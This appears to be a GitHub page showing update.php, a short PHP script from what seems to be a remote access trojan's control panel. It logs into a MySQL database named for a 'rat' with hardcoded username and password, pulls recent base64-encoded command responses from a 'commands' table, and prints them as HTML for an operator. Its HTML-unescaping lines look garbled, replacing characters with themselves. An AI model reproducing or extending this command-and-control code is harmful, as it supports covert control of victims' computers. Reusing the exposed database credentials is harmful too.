-
Notifications
You must be signed in to change notification settings - Fork 1
/
update.php
31 lines (24 loc) · 965 Bytes
/
update.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
mysql_connect("localhost", "nzbkpavw_rat", "pq97r") or die(mysql_error());
mysql_select_db("nzbkpavw_rat") or die(mysql_error());
$result = mysql_query("SELECT response FROM commands WHERE response != '' ORDER BY ID DESC LIMIT 10");
$echo = "";
while ($data = mysql_fetch_array($result)) {
$response = base64_decode($data['response']);
//Fix backslashes
$response= str_replace("\\\\", "#$*BACKSLASH*$#", $response);
$response = str_replace("\\", "", $response);
$response = str_replace("#$*BACKSLASH*$#", "\\", $response);
//Parse html
$response = str_replace(">", ">", $response);
$response = str_replace("<", "<", $response);
$response = str_replace("#>#", ">", $response);
$response = str_replace("#<#", "<", $response);
//Fix newlines
$response = str_replace("\r", "", $response);
$response = str_replace("\t", "", $response);
$response = str_replace("\n", "<br>", $response);
$echo = $response.$echo;
}
echo $echo;
?>